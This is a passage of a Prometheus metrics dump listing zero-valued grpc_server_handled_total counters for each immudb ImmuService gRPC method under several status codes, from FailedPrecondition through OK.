grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Internal",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="InvalidArgument",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="NotFound",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 